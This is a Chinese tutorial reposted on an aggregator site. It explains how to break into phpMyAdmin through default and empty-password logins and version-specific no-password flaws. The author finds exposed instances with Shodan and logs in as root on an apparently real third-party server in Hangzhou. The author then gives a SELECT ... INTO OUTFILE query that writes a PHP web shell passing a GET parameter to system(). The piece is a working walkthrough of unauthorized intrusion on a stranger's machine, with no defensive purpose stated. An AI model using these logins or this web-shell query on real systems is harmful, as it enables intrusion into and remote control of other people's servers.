首页 / PHP / phpMyAdmin通过密码漏洞留后门文件

phpMyAdmin通过密码漏洞留后门文件

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了phpMyAdmin通过密码漏洞留后门文件，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含882字，纯文字阅读大概需要2分钟。

内容图文

  • 默认 phpMyAdmin：用户名 root 密码 root 或空登陆。
  • 版本 2.11.3～2.11.4：用户名 'localhost'@'@" 登陆，无需密码。
  • 版本 2.11.9.2：用户名 root 登陆，无需密码。

经测试，第二个漏洞在 phpMyAdmin 3.5.1 版本也是可行的。原理从略。

下面让我们简单的上网看看能不能找到一些存在这样漏洞的登陆页面。

祭出著名的漏洞搜索引擎 Shodan 并搜索 phpMyAdmin。

phpMyAdmin

phpMyAdmin通过密码漏洞留后门文件 - 文章图片

先看看有没有不需要密码登陆的，逐一尝试没有后寻找名字中包含的版本号。这里我找到一个国内的（浙江省·杭州市）。

phpMyAdmin通过密码漏洞留后门文件 - 文章图片

地址已手动打码。

http://121.***.*.219:80/

phpMyAdmin通过密码漏洞留后门文件 - 文章图片

登陆成功（root 权限）。

phpMyAdmin通过密码漏洞留后门文件 - 文章图片

接下来你可以写一个 outfile 到对方主机的网络目录下。俗称 “留后门”。

SELECT "<?php system($_GET[‘cmd']); ?>" into outfile "后门文件的绝对路径"

点击运行，不出意外便在对方主机留下了一个名为 runme.php 的后门文件。

总结

以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，谢谢大家对脚本之家的支持。如果你想了解更多相关内容请查看下面相关链接

内容总结

以上是互联网集市为您收集整理的phpMyAdmin通过密码漏洞留后门文件全部内容，希望文章能够帮你解决phpMyAdmin通过密码漏洞留后门文件所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/273813.html

来源：【匿名】